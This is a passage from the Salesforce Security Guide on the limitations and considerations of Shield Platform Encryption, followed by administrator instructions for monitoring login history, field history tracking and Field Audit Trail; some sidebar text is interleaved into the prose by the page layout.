to complete the process varies based on the feature and how your org is configured.

5. Analyze and test AppExchange apps before deploying them.

• If you use an app from the AppExchange, test how it interacts with encrypted data in your organization and evaluate whether
its functionality is affected.
• If an app interacts with encrypted data that's stored outside of Salesforce, investigate how and where data processing occurs
and how information is protected.
• If you suspect Shield Platform Encryption could affect the functionality of an app, ask the provider for help with evaluation. Also
discuss any custom solutions that must be compatible with Shield Platform Encryption.
• Apps on the AppExchange that are built exclusively using Lightning Platform inherit Shield Platform Encryption capabilities and
limitations.

6. Use out-of-the-box security tools.

Shield Platform Encryption is not a user authentication or authorization tool. To control which users can see which data, use
out-of-the-box tools such as field-level security settings, page layout settings, and sharing rules, rather than Shield Platform Encryption.

220
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

7. Grant the Manage Encryption Keys user permission to authorized users only.
Users with the Manage Encryption Keys permission can generate, export, import, and destroy organization-specific keys. Monitor
the key management activities of these users regularly with the setup audit trail.

8. Synchronize your existing data with your active key material.

Existing field and file data is not automatically encrypted when you turn on Shield Platform Encryption. To encrypt existing field
data, update the records associated with the field data. This action triggers encryption for these records so that your existing data
is encrypted at rest. To encrypt existing files or get help updating other encrypted data, contact Salesforce. We can encrypt existing
file data in the background to ensure data alignment with the latest encryption policy and key material.
When you contact Salesforce support to request the background encryption service, allow at least a week before you need the
background encryption completed. The time to complete the process varies based on the volume of data involved. It could take
several days.

9. Handle currency and number data with care.

Currency and Number fields can’t be encrypted because they could have broad functional consequences across the platform, such
as disruptions to roll-up summary reports, report timeframes, and calculations. You can often keep private, sensitive, or regulated
data of this variety safe in other encryption-supported field types.

10. Communicate to your users about the impact of encryption.

Before you enable Shield Platform Encryption in a production environment, inform users about how it affects your business solution.
For example, share the information described in Shield Platform Encryption considerations, where it's relevant to your business
processes.

11. Encrypt your data using the most current key.

When you generate a new tenant secret, any new data is encrypted using this key. However, existing sensitive data remains encrypted
using previous keys. In this situation, Salesforce strongly recommends re-encrypting these fields using the latest key. Contact Salesforce
for help with re-encrypting your data.

12. Use discretion when granting login as access to users or Salesforce Customer Support.
If you grant login access to a user, and they have field level security access to an encrypted field, that user is able to view encrypted
data in that field in plaintext.
If you want Salesforce Customer Support to follow specific processes around asking for or using login as access, you can create
special handling instructions. Salesforce Customer Support follows these instructions in situations where login as access may help
them resolve your case. To set up these special handling instructions, contact your account executive.

221
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

General Shield Platform Encryption Considerations

These considerations apply to all data that you encrypt using Shield Platform Encryption.
EDITIONS

Leads Available as an add-on

subscription in: Enterprise,
Lead and Case assignment rules, workflow rules, and validation rules work normally when Lead Performance, and
fields are encrypted. Matching and de-duplication of records during lead import works with Unlimited Editions. Requires
deterministically encryption, but not probabilistic encryption. Einstein Lead Scoring isn’t available. purchasing Salesforce
Apex Lead Conversion works normally, but PL-SQL-based lead conversion isn’t supported. Shield. Available in
Developer Edition at no
charge for orgs created in
Flows and Processes Summer ’15 and later.
You can reference encrypted fields in most places in your flows and processes. However, you can’t Available in both Salesforce
reference encrypted fields in these filtering or sorting contexts. Classic and Lightning
Experience.
Tool Filtering Availability Sorting Availability
Process Builder Update Records action n/a

Flow Builder Record Choice Set resource Record Choice Set resource
Get Records element Get Records element
Delete Records element
Update Records element

You can store the value from an encrypted field in a variable and operate on that value in your flow’s logic. You can also update the
value for an encrypted field.
Paused flow interviews can cause data to be saved in an unencrypted state. When a flow or process is waiting to resume, the associated
flow interview is serialized and saved to the database. The flow interview is serialized and saved when:
• Users pause a flow
• Flows execute a Pause element
• Processes are waiting to execute scheduled actions
If the flow or process loads encrypted fields into a variable during these processes, that data isn’t always encrypted at rest.

Next Best Action Recommendations

When you use probabilistic encryption, you can’t use encrypted fields like Recommendation Description when you specify conditions
to load recommendations.

Custom Fields
You can’t use encrypted custom fields in criteria-based sharing rules.
Some custom fields can’t be encrypted.
• Fields that have the Unique or External ID attributes or include these attributes on previously encrypted custom fields
(applies only to fields that use the probabilistic encryption scheme)

222
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

• Fields on external data objects

• Fields that are used in an account contact relation
You can’t use Schema Builder to create an encrypted custom field.
You can’t use Shield Platform Encryption with Custom Metadata Types.

SOQL/SOSL
• You can’t include fields encrypted with the probabilistic encryption scheme in the following SOQL and SOSL clauses and functions:
– Aggregate functions such as MAX(), MIN(), and COUNT_DISTINCT()
– WHERE clause
– GROUP BY clause
– ORDER BY clause
For information about SOQL and SOSL compatibility with deterministic encryption, see Considerations for Using Deterministic
Encryption in Salesforce Help.

Tip: Consider whether you can replace a WHERE clause in a SOQL query with a FIND query in SOSL.

• When you query encrypted data, invalid strings return an INVALID_FIELD error instead of the expected MALFORMED_QUERY.

Pardot
Pardot supports contact email addresses encrypted by Shield Platform Encryption as long as your Pardot instance meets a few conditions.
Your org must allow multiple prospects with the same email address. After this feature is enabled, you can add the contact email address
field to your encryption policy.
Because the contact email address shows in the Permission object, users must have permission to view the Prospect object.
If you encrypt the contact email address field, the Salesforce-Pardot Connector can’t use the email address as a secondary prospect
match criteria. For more information, read Salesforce-Pardot Connector Settings.

Portals
If a legacy portal (created before 2013) is enabled in your org, you can't encrypt standard fields. Deactivate all legacy customer and
partner portals to enable encryption on standard fields. (Salesforce Experience Cloud sites are supported.)
To deactivate a legacy customer portal, go to the Customer Portal Settings page in Setup. To deactivate a legacy partner portal, go to
the Partners page in Setup.

Salesforce B2B Commerce

Shield Platform Encryption supports version 4.10 and later of the Salesforce B2B Commerce managed package, with some behavior
differences. For a complete list of considerations, see Shield Platform Encryption for B2B Commerce.

Search
If you encrypt fields with a key and then destroy the key, the corresponding search terms remain in the search index. However, you can’t
decrypt the data associated with the destroyed key.

223
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

Accounts, Person Accounts, and Contacts

When Person Accounts are turned on, encrypting any of the following Account fields encrypts the equivalent Contact fields, and vice
versa.
• Name
• Description
• Phone
• Fax
When you encrypt any of the following Account or Contact fields, the equivalent fields in Person Accounts are also encrypted.
• Name
• Description
• Mailing Address
• Phone
• Fax
• Mobile
• Home Phone
• Other Phone
• Email
When the Account Name or Contact Name field is encrypted, searching for duplicate accounts or contacts to merge doesn’t return any
results.
When you encrypt the First Name or Last Name field on a contact, that contact appears in the Calendar Invite lookup only if you haven’t
filtered by First Name or Last Name.

Email Bounce Handling

Bounce handling doesn’t support encrypted email addresses. If you need email bounce handling, don't encrypt the standard Email field.

Email-to-Case
Copying text from email fields also copies unicode characters embedded in email text. Two of those unicode character sequences,
\uFFFE and \uFFFF, can’t be included in text encrypted by Shield Platform Encryption. If you encounter an error mentioning these
unicode sequences, delete the text copied from the email field and type it manually.

Activity Subject
You can encrypt an Activity Subject field with case-insensitive encryption. If you destroy key material that encrypts a field, filtering on
the field doesn’t yield matches.
If you encrypt the Activity Subject field and it’s used in a custom picklist, delete and replace actions aren’t available for that value. To
remove an Activity Subject value from a picklist, deactivate it .
Activity Subject fields that include an OrgID aren’t copied over when you create a sandbox copy of a production org.

Salesforce for Outlook

If you encrypt the same fields that you filter in Salesforce for Outlook data sets, Salesforce for Outlook doesn’t sync. To get Salesforce for
Outlook to sync again, remove the encrypted fields from your filters in your data sets.

224
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

Campaigns
Campaign member search isn’t supported when you search by encrypted fields.

Notes
You can encrypt the body text of Notes created with the new Notes tool. However, the Preview file and Notes created with the old Notes
tool aren’t supported.

Field Audit Trail

Data in a previously archived Field Audit Trail isn’t encrypted when you turn on Platform Encryption. For example, say that your org uses
Field Audit Trail to define a data history retention policy for an account field, such as the phone number field. When you turn on encryption
for that field, new phone number records are encrypted as they’re created. Previous updates to the phone number field that are stored
in the Account History related list are also encrypted. However, phone number history data that is already archived in the
FieldHistoryArchive object is stored without encryption. To encrypt previously archived data, contact Salesforce.

Salesforce Experiences
If you encrypt the Account Name field and you’re not using Person Accounts, encryption affects how users’ roles are displayed to admins.
Normally, a site user’s role name is displayed as a combination of their account name and the name of their user profile. When you
encrypt the Account Name field, the account ID is displayed instead of the account name.
For example, when the Account Name field isn’t encrypted, users belonging to the Acme account with the Customer User profile would
have a role called Acme Customer User. When Account Name is encrypted (and Person Accounts aren’t in use), the role is displayed
as something like 001D000000IRt53 Customer User.

Data Import Wizard

You can’t use the Data Import Wizard to perform matching using master-detail relationships or update records that contain fields that
use the probabilistic encryption scheme. You can use it to add new records, however.

Reports, Dashboards, and List Views

• Report charts and dashboard components that display encrypted field values might be cached unencrypted.
• You can’t sort records in list views by fields that contain encrypted data.

Encryption for Chatter

When you embed a custom component in your Chatter feed using Rich Publisher Add-Ons, the data related to those add-ons is encoded,
but it isn’t encrypted with the Shield Platform Encryption service. Unencrypted data in Rich Publisher Add-Ons includes data stored in
the Extension ID, Text Representation, Thumbnail URL, Title, Payload, and PayloadVersion fields.

Encryption for Custom Matching Rules Used in Duplicate Management

Custom matching rules can only reference fields encrypted with the deterministic encryption scheme. Probabilistic encryption isn’t
supported. When you rotate your keys, you must deactivate and then reactivate custom matching rules that reference encrypted fields.
If you don’t take this step after updating your key material, matching rules don’t find all your encrypted data.
Standard matching rules that include fields with Shield Platform Encryption don’t detect duplicates. If you encrypt a field included in
standard matching rules, deactivate the standard rule.

225
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

Service protections ensure that loads are balanced across the system. The matching service searches for match candidates until it finds
all matches up to 200 matches. With Shield Platform Encryption, the service search maximum is 100 candidates. With encryption, you
could find fewer or no possible duplicate records.
Duplicate jobs aren’t supported.

Self-Service Background Encryption

Self-service background encryption can encrypt data once every 7 days. This limit includes synchronization processes initiated from the
Encryption Statistics and Data Sync page, synchronization that automatically runs when you disable encryption on a field, and
synchronization completed by Salesforce Customer Support at your request.
Some conditions prevent the self-service background encryption from running:
• There are more than 10 million records in an object
• The org has destroyed key material
• An object’s data is already synchronized
• The synchronization process is already running, initiated either by the customer or by Salesforce Customer Support at the customer’s
request
• Statistics are being gathered
• An encryption policy change is being processed, such as enabling encryption on a field or data element
After you begin the synchronization processes, wait until it finishes before changing your encryption policy or generating, uploading,
or deleting key material. These actions abort the synchronization process.

Employees
If the email field is encrypted using probabilistic encryption, wellness check surveys can’t be used. Deterministic encryption is fully
supported.

General
• Encrypted fields can’t be used in:
– Criteria-based sharing rules
– Similar opportunities searches
– External lookup relationships

• Fields encrypted with the probabilistic encryption scheme can’t be used in filter criteria for data management tools. For considerations
specific to filter-preserving deterministic encryption, read Considerations for Using Deterministic Encryption on page 226.
• Web-to-Case is supported, but the Web Company, Web Email, Web Name, and Web Phone fields aren’t encrypted at rest.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Considerations for Using Deterministic Encryption

These considerations apply to data encrypted with Shield Platform Encryption’s deterministic encryption scheme. Some considerations
manifest differently depending on whether data is encrypted with the case-sensitive or case-insensitive deterministic encryption scheme.

226
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

Key Rotation and Filter Availability

When you rotate key material or change a field’s encryption scheme to case-sensitive deterministic encryption or case-insensitive
deterministic encryption, synchronize your data. Syncing applies the active Data in Salesforce (Deterministic) key material to existing
and new data. If you don’t sync your data, filtering and queries on fields with unique attributes don’t return accurate results.
You can sync most data yourself from the Encryption Statistics and Data Sync page in Setup. See Synchronize Your Data Encryption with
the Background Encryption Service.

Available Fields and Other Data

Deterministic encryption is available for custom URL, email, phone, text, and text area field types. It isn’t available for the following types
of data:
• Custom date, date/time, long text area, rich text area, or description field types
• Chatter
• Files and attachments

Filter Operators
In reports and list views, the operators “equals” and “not equal to” are supported with case-sensitive deterministic encryption. Other
operators, like “contains” or “starts with,” don’t return an exact match and aren’t supported. Features that rely on unsupported operators,
such as Refine By filters, also aren’t supported.
Case-insensitive deterministic encryption supports list views and reports. However, the user interface displays all operators, including
operators that aren’t supported for encrypted data. To review the list of supported operators, see Use Encrypted Data in Formulas.

Formulas
Fields encrypted with the deterministic encryption scheme can’t be referenced in SOQL WHERE queries.

Case Sensitivity
When you use case-sensitive deterministic encryption, case matters. In reports, list views, and SOQL queries on encrypted fields, the
results are case-sensitive. Therefore, a SOQL query against the Contact object, where LastName = Jones, returns only Jones, not jones
or JONES. Similarly, when the case-sensitive deterministic scheme tests for unicity (uniqueness), each version of “Jones” is unique.

Custom Field Allocations

To allow case-insensitive queries, Salesforce stores a lowercase duplicate of your data as a custom field in the database. These duplicates
are necessary to enable case-insensitive queries, but they count against your total custom field count.

API Options to Identify Filterable Fields

Fields encrypted using the deterministic encryption scheme are filterable. You can use the isFilterable() method to determine
the encryption scheme of a particular encrypted field. If the field is filterable, the method returns true.
However, you can’t explicitly detect or set the deterministic encryption scheme via the API.

227
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

External ID
Case-insensitive deterministic encryption supports Text and Email external ID custom fields but not other external ID custom fields.
When you create or edit these fields, use one of the following field setting combinations.

External ID Field Type Unique Attributes Encrypted

Text None Use case-insensitive deterministic
encryption

Text Unique and case sensitive Use case-sensitive deterministic encryption

Text Unique and case insensitive Use case-insensitive deterministic

encryption

Email None Use case-insensitive deterministic

encryption

Email Unique Use case-sensitive deterministic encryption

You can’t save changes to both Unique - Case-Sensitive and Encrypted options at the same time. Change one setting, save it, then
change the next.

Compound Fields
Even with deterministic encryption, some kinds of searches don’t work when data is encrypted with case-sensitive deterministic encryption.
Concatenated values, such as compound names, aren’t the same as the separate values. For example, the ciphertext for the compound
name “William Jones” isn’t the same as the concatenation of the ciphertexts for “William” and “Jones”.
So, if the First Name and Last Name fields are encrypted in the Contacts object, this query doesn’t work:
Select Id from Contact Where Name = 'William Jones'

But this query does work:

Select Id from Contact Where FirstName = 'William’ And LastName ='Jones'

Case-sensitive and case-insensitive deterministic encryption schemes support compound fields, but only with individual column queries.

Filter Records by Strings

You can search for records using strings. However, commas in strings act as OR statements. If your string includes a comma, use quotation
marks around the string. For example, a search for “Universal Containers, Inc, Berlin” returns records that include
the full string, including the comma. Searches for Universal Containers, Inc, Berlin returns records that include
“Universal Containers” or “Inc” or “Berlin”.

SOQL GROUP BY Statements

You can use most of the SOQL statements with deterministic encryption. One exception is GROUP BY, which isn’t supported, even though
you can group report results by row or column.

228
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

SOQL LIKE and STARTS WITH Statements

Deterministic encryption only supports exact, case-sensitive matches. Comparison operators that return partial matches aren’t supported.
For example, LIKE and STARTS WITH statements aren’t supported.

SOQL ORDER BY Statements

Because deterministic encryption doesn’t maintain the sort order of encrypted data in the database, ORDER BY isn’t supported.

Indexes
Case-sensitive deterministic encryption supports single-column indexes, single-column case-sensitive unique indexes, two-column
indexes, and custom indexes on standard and custom fields.
Case-insensitive deterministic encryption offers limited support for standard indexes on the following standard fields.
• Contact—Email
• Email Message—Relation
• Lead—Email
• Name
Queries against these fields, when encrypted with case-insensitive deterministic encryption, can perform poorly with large tables. For
optimal query performance, use custom indexes instead of standard indexes. To set up custom indexes, contact Salesforce Customer
Support.
Expect the enablement process to take longer when you apply deterministic encryption to a field with a large number of records. To
support filtering, the enablement process also rebuilds field indexes.

Next Best Action Recommendations

When you use deterministic encryption, you can use encrypted fields in load conditions only with the equals or not equals operator.

Chat
For the best possible recommendation results, use the case-sensitive deterministic encryption scheme with the Utterance field on the
Utterance Suggestion object. This field doesn’t support other encryption schemes at this time.

229
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

Shield Platform Encryption and the Lightning Experience

Shield Platform Encryption works the same way in the Lightning Experience as it does in Salesforce
EDITIONS
Classic, with a few minor exceptions.
Notes Available as an add-on
Note previews in Lightning are not encrypted. subscription in: Enterprise,
Performance, and
File Encryption Icon
Unlimited Editions. Requires
The icon that indicates that a file is encrypted doesn’t appear in Lightning.
purchasing Salesforce
Shield. Available in
Developer Edition at no
charge for orgs created in
Summer ’15 and later.

Available in both Salesforce

Classic and Lightning
Experience.

Field Limits with Shield Platform Encryption

Under certain conditions, encrypting a field can impose limits on the values that you store in that
EDITIONS
field. If you expect users to enter non-ASCII values, such as Chinese, Japanese, or Korean-encoded
data, we recommend creating validation rules to enforce these field limits. Available as an add-on
subscription in: Enterprise,
API Byte Non-ASCII Characters Performance, and
Length Length Unlimited Editions. Requires
Assistant Name (Contact) 40 120 22 purchasing Salesforce
Shield. Available in
Address (To, CC, BCC on Email Message) 2959 4000 1333 Developer Edition at no
(when encrypted with probabilistic or charge for orgs created in
case-sensitive deterministic encryption) Summer ’15 and later.

City (Account, Contact, Lead) 40 120 22 Available in both Salesforce

Classic and Lightning
Email (Contact, Lead) 80 240 70 Experience.
Fax (Account) 40 120 22

First Name (Account, Contact, Lead) 40 120 22

Last Name (Contact, Lead) 80 240 70

Middle Name (Account, Contact, Lead) 40 120 22

Name (Custom Object) (beta) 80 240 80

Name (Opportunity) 120 360 110

Phone (Account, Contact) 40 120 22

Site (Account) 80 240 70

230
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption

API Length Byte Length Non-ASCII Characters

Subject (Email Message)(when encrypted with probabilistic or 2207 3000 1000
case-sensitive deterministic encryption)

Title (Contact, Lead) 128 384 126

Note: This list isn’t exhaustive. For information about a field not shown here, refer to the API.

Email Message Fields and Case-Insensitive Encryption

To encrypt Address and Subject fields on the Email Message object with case-insensitive deterministic encryption, apply the scheme
before you enter data into these fields. If existing data in these fields exceeds the following limits, that data isn’t encrypted with
case-insensitive deterministic encryption.
• API length: 527
• Byte length: 765
• Non-ASCII characters: 262

Case Comment Object

The Body field on the Case Comment object has a limit of 4,000 ASCII characters (or 4,000 bytes). However, when these fields are
encrypted, the character limit is lower. How much lower depends on the kind of characters you enter.
• ASCII: 2959
• Chinese, Japanese, Korean: 1333
• Other non-ASCII: 1479

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Which Salesforce Apps Don’t Support Shield Platform Encryption?

Some Salesforce features work as expected when you work with data that’s encrypted with Shield
EDITIONS
Platform Encryption. Others don’t.
These apps don’t support data encrypted with Shield Platform Encryption. However, you can enable Available as an add-on
Shield Platform Encryption for other apps when these apps are in use. subscription in: Enterprise,
Performance, and
• Connect Offline
Unlimited Editions. Requires
• Commerce Cloud (Salesforce B2B Commerce version 4.10 and later is supported) purchasing Salesforce
• Customer 360 Data Manager Shield. Available in
Developer Edition at no
• Data.com
charge for orgs created in
• Einstein Recommendation Engine in Marketing Cloud (includes Einstein Recommendations, Summer ’15 and later.
Einstein Web Recommendations, and Einstein Email Recommendations)
Available in both Salesforce
• Einstein features other than Einstein Analytics (Einstein Analytics supports Shield Platform
Classic and Lightning
Encryption)
Experience.
• Heroku (but Heroku Connect does support encrypted data)
• Marketing Cloud (but Marketing Cloud Connect does support encrypted data)

231
Salesforce Security Guide Monitoring Your Organization’s Security

• Salesforce IQ
• Social Customer Service
• Thunder
• Quip
• Salesforce Billing
Legacy portals (customer, self-service, and partner) don’t support data encrypted with Shield Platform Encryption. If legacy portals are
active, Shield Platform Encryption can’t be enabled.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Monitoring Your Organization’s Security

Track login and field history, monitor setup changes, and take actions based on events.
Review the following sections for detailed instructions and tips on monitoring the security of your Salesforce organization.

IN THIS SECTION:
Monitor Login History
As an admin, you can monitor all login attempts to your Salesforce org and Experience Cloud sites. The Login History page shows
up to 20,000 records of user logins for the past 6 months. To see more records, download the information to a CSV or GZIP file.
Field History Tracking
You can select certain fields to track and display the field history in the History related list of an object. Field history data is retained
for up to 18 months through your org, and up to 24 months via the API. Field history tracking data doesn’t count against your
Salesforce org’s data storage limits.
Monitor Setup Changes with Setup Audit Trail
Setup Audit Trail tracks the recent setup changes that you and other admins make to your Salesforce org. Audit history is especially
useful in orgs with multiple admins.
Transaction Security Policies (Legacy)
Transaction Security is a framework that intercepts real-time Salesforce events and applies appropriate actions and notifications
based on security policies you create. Transaction Security monitors events according to the policies that you set up. When a policy
is triggered, you can receive a notification and have an optional action taken.

232
Salesforce Security Guide Monitor Login History

Monitor Login History

As an admin, you can monitor all login attempts to your Salesforce org and Experience Cloud sites.
EDITIONS
The Login History page shows up to 20,000 records of user logins for the past 6 months. To see
more records, download the information to a CSV or GZIP file. Available in: Salesforce
Classic (not available in all
orgs) and Lightning
Login History Information Experience
In addition to general login history, such as who logged in, at what time, and from where, you can
Available in: Contact
use the Login History page to view the following information.
Manager, Developer,
• Authentication Method Reference–Monitor how your identity providers authenticate users Enterprise, Group,
logging into your org through OpenID Connect. The authentication method is pulled from Performance, Professional,
JSON strings returned by your identity provider in the OIDC ID token. Work with your IdP to and Unlimited Editions
establish definitions for the values used in the JSON strings.
• HTTP Login Method–View the HTTP method used for the session login: POST, GET, or Unknown. USER PERMISSIONS
Use this information to determine if a user is inadvertently exposing user credentials through
a GET request. To monitor logins:
• Manage Users
For example, if a user entered a username and password on the login page, the HTTP method
for login is a secure POST request. However, if the user logged in by providing the username
and password in the URL as a GET request, the credentials are exposed.

• SAML Single Sign-On (SSO)–If your org uses SAML SSO identity provider certificates, view SAML SSO history.
• My Domain–You can see when users are logging in with a My Domain URL, which is displayed in the Login URL column.
• License Manager Users–Internal users with names in the format 033*********2@00d2********db indicate users who are associated
with the License Management App (LMA). This app manages the number of licenses used by a subscriber org. These internal users
can appear in the License Management org (LMO) and in subscriber orgs that have an AppExchange package managed by the LMA.

Create List Views

You can create custom list views using the following filters:
• Application
• Login Time
• Login Type
• Login URL
• TLS Protocol
• TLS Cipher Suit
For example, you can create a view of all logins for a particular time range or from a particular application, such as a mobile device. You
can also define which fields to include in the custom list view. Like the default view, a custom view shows up to 20,000 records of login
history during the past 6 months.
1. On the Login History page, click Create New View.
2. Enter the name to for the view.
3. Specify the filter criteria.
4. Select the fields to display.
You can display up to 15 fields, but they must be available in your page layout. Text area fields display up to 255 characters.

233
Salesforce Security Guide Field History Tracking

Note: Due to the nature of geolocation technology, the accuracy of geolocation fields (for example, country, city, postal code)
can vary.

Download Login History

You can download the past 6 months of user logins to your Salesforce orgs and Experience Cloud sites. This report includes logins
through the API.
1. From Setup, in the Quick Find box, enter Login History, then select Login History.
2. Select the file format to use.
• CSV File
• GZIP File—Because the file is compressed, it’s the preferred option for the quickest download time.

3. Select the file contents. The All Logins option includes API access logins.
4. Click Download Now.

Field History Tracking

You can select certain fields to track and display the field history in the History related list of an
EDITIONS
object. Field history data is retained for up to 18 months through your org, and up to 24 months
via the API. Field history tracking data doesn’t count against your Salesforce org’s data storage limits. Available in: Salesforce
You can track the field history of custom objects and the following standard objects. Classic (not available in all
orgs), Lightning Experience,
• Accounts
and the Salesforce app
• Articles
Available in: Contact
• Assets
Manager, Essentials,
• Campaigns Group, Professional,
• Cases Enterprise, Performance,
Unlimited, Developer, and
• Contacts
Database.com Editions
• Contracts
Standard Objects aren’t
• Contract line items available in Database.com
• Crisis
• Employee
• EmployeeCrisisAssessment
• Entitlements
• InternalOrganizationUnit
• Knowledge
• Leads
• Opportunities
• Orders
• Order Products
• Products
• Price Book Entries
• Service Contracts

234
Salesforce Security Guide Field History Tracking

• Solutions
Modifying any of these fields adds an entry to the History related list. All entries include the date, time, nature of the change, and who
made the change. Not all field types are available for historical trend reporting. Certain changes, such as case escalations, are always
tracked.

Note: Since the Spring ’15 release, increasing the entity field history retention period beyond the standard 18–24 months requires
the purchase of the Field Audit Trail add-on. When the add-on subscription is enabled, your field history retention period is changed
to reflect the retention policy provided with your subscription. If your org was created before June 1, 2011, Salesforce continues
to retain all field history. If your org was created on or after June 1, 2011 and you decide not to purchase the add-on, Salesforce
retains your field history for the standard 18–24 months.
Consider the following when working with field history tracking.
• Salesforce starts tracking field history from the date and time that you enable it on a field. Changes made before this date and time
aren’t included and didn’t create an entry in the History related list.
• Use Data Loader or the queryAll() API to retrieve field history that ‘s 18–24 months old.
• Changes to fields with more than 255 characters are tracked as edited, and their old and new values aren’t recorded.
• Tracked field values aren’t automatically translated; they display in the language in which they were made. For example, if a field is
changed from Green to Verde, Verde is displayed no matter what a user’s language is, unless the field value has been translated
into other languages via the Translation Workbench. This behavior also applies to record types and picklist values.
• Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the user viewing
the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then a user with a Spanish
locale sees the custom field label as Rojo. Otherwise, the user sees the custom field label as Red.
• Changes to date fields, number fields, and standard fields are shown in the locale of the user viewing the History related list. For
example, a date change to August 5, 2012 shows as 8/5/2012 for a user with the English (United States) locale, and as
5/8/2012 for a user with the English (United Kingdom) locale.
• If Process Builder, an Apex trigger, or a Flow causes a change on an object the current user doesn’t have permission to edit, that
change isn’t tracked. Field history honors the permissions of the current user and doesn’t record changes that occur in system context.
• In Lightning, you can see gaps in numerical order in the Created Date and ID fields. All tracked changes still are committed and
recorded to your audit log. However, the exact time that those changes occur in the database can vary widely and aren't guaranteed
to occur within the same millisecond. For example, there can be triggers or updates on a field that increase the commit time, and
you can see a gap in time. During that time period, IDs are created in increasing numerical order but can also have gaps for the same
reason.
• Changes to time fields aren’t tracked in the field history related list.
• The Field History Tracking timestamp is precise to a second in time. In other words, if two users update the same tracked field on
the same record in the same second, both updates have the same timestamp. Salesforce can’t guarantee the commit order of these
changes to the database. As a result, the display values can look out of order.
• You can’t create a record type on a standard or custom object and enable field history tracking on the record type in the same
Metadata API deployment. Instead, create the record type in one deployment and enable history tracking on it in a separate
deployment.

IN THIS SECTION:
Track Field History for Standard Objects
You can enable field history tracking for standard objects in the object’s management settings.
Track Field History for Custom Objects
You can enable field history tracking for custom objects in the object’s management settings.

235
Salesforce Security Guide Field History Tracking

Disable Field History Tracking

You can turn off field history tracking from the object’s management settings.
Field Audit Trail
Field Audit Trail lets you define a policy to retain archived field history data up to 10 years from the time the data was archived. This
feature helps you comply with industry regulations related to audit capability and data retention.

Track Field History for Standard Objects

You can enable field history tracking for standard objects in the object’s management settings.
EDITIONS
If you use both business accounts and person accounts, keep in mind that:
Available in: Salesforce
• Field history tracking for accounts applies to both business and person accounts, so the 20-field
Classic (not available in all
maximum includes both types of accounts.
orgs), Lightning Experience,
• Changes made directly to a person contact record aren’t tracked by field history. and the Salesforce app
To set up field history tracking:
Available in: Contact
1. From the management settings for the object whose field history you want to track, go to the Manager, Essentials,
fields area. Group, Professional,
Enterprise, Performance,
2. Click Set History Tracking.
Unlimited, Developer, and
Tip: When you enable tracking for an object, customize your page layouts to include the Database.com Editions
object’s history related list. Standard Objects are not
available in Database.com
3. For accounts, contacts, leads, and opportunities, select the Enable Account History,
Enable Contact History, Enable Lead History, or Enable
Opportunity History checkbox. USER PERMISSIONS
4. Choose the fields you want tracked.
To set up which fields are
You can select a combination of up to 20 standard and custom fields per object. For accounts, tracked:
this limit includes fields for both business accounts and person accounts.. • Customize Application
Certain changes, such as case escalations, are always tracked.
You can’t track the following fields:
• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By
• Fields that have the AI Prediction checkbox selected
• Expected Revenue field on opportunities
• Master Solution Title or the Master Solution Details fields on solutions; these fields display only for
translated solutions in organizations with multilingual solutions enabled.

5. Click Save.
Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.

236
Salesforce Security Guide Field History Tracking

Track Field History for Custom Objects

You can enable field history tracking for custom objects in the object’s management settings.
EDITIONS
1. From Setup, enter Object Manager in the Quick Find box, then select Object Manager.
Available in: Salesforce
2. Click the custom object, and click Edit.
Classic (not available in all
3. Under Optional Features, select the Track Field History checkbox. orgs), Lightning Experience,
and the Salesforce app
Tip: When you enable tracking for an object, customize your page layouts to include the
object’s history related list. Available in: Contact
Manager, Essentials,
4. Save your changes. Group, Professional,
5. Click Set History Tracking in the Custom Fields & Relationships section. Enterprise, Performance,
Unlimited, Developer, and
This section lets you set a custom object’s history for both standard and custom fields.
Database.com Editions
6. Choose the fields you want tracked. Standard Objects aren’t
You can select up to 20 standard and custom fields per object. You can’t track: available in Database.com
• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By USER PERMISSIONS
• Fields that have the AI Prediction checkbox selected
To set up which fields are
7. Click Save. tracked:
• Customize Application
Salesforce tracks history from this date and time forward. Changes made prior to this date and
time are not included.

Disable Field History Tracking

You can turn off field history tracking from the object’s management settings.
EDITIONS
Note: If Apex references one of an object’s fields, you can’t disable field history tracking for
that object . Available in: Salesforce
Classic (not available in all
1. From the management settings for the object whose field history you want to stop tracking, orgs), Lightning Experience,
go to Fields. and the Salesforce app
2. Click Set History Tracking.
Available in: Contact
3. Deselect the enable history for the object you are working with—for example, Enable Account Manager, Essentials,
History, Enable Contact History, Enable Lead History, or Enable Opportunity History. Group, Professional,
The History related list is automatically removed from the associated object’s page layouts. Enterprise, Performance,
Unlimited, Developer, and
If you disable field history tracking on a standard object, you can still report on its history data Database.com Editions
up to the date and time that you disabled tracking. If you disable field history tracking on a
Standard Objects aren’t
custom object, you cannot report on its field history.
available in Database.com
4. Save your changes.

USER PERMISSIONS

To set up which fields are

tracked:
• Customize Application

237
Salesforce Security Guide Field History Tracking

Field Audit Trail

Field Audit Trail lets you define a policy to retain archived field history data up to 10 years from the
EDITIONS
time the data was archived. This feature helps you comply with industry regulations related to audit
capability and data retention. Available in: Salesforce
Use Salesforce Metadata API to define a retention policy for your field history for fields that have Classic (not available in all
field history tracking enabled. Then use REST API, SOAP API, and Tooling API to work with your orgs), Lightning Experience,
archived data. For information about enabling Field Audit Trail, contact your Salesforce representative. and the Salesforce mobile
app
Field history is copied from the History related list into the FieldHistoryArchive big object.
You define one HistoryRetentionPolicy for your related history lists, such as Account Available in: Enterprise,
History, to specify Field Audit Trail retention policies for the objects you want to archive. Then use Performance, and
Metadata API to deploy the big object. You can update the retention policy on an object as often Unlimited Editions
as you like. With Field Audit Trail, you can track up to 60 fields per object. Without it, you can track
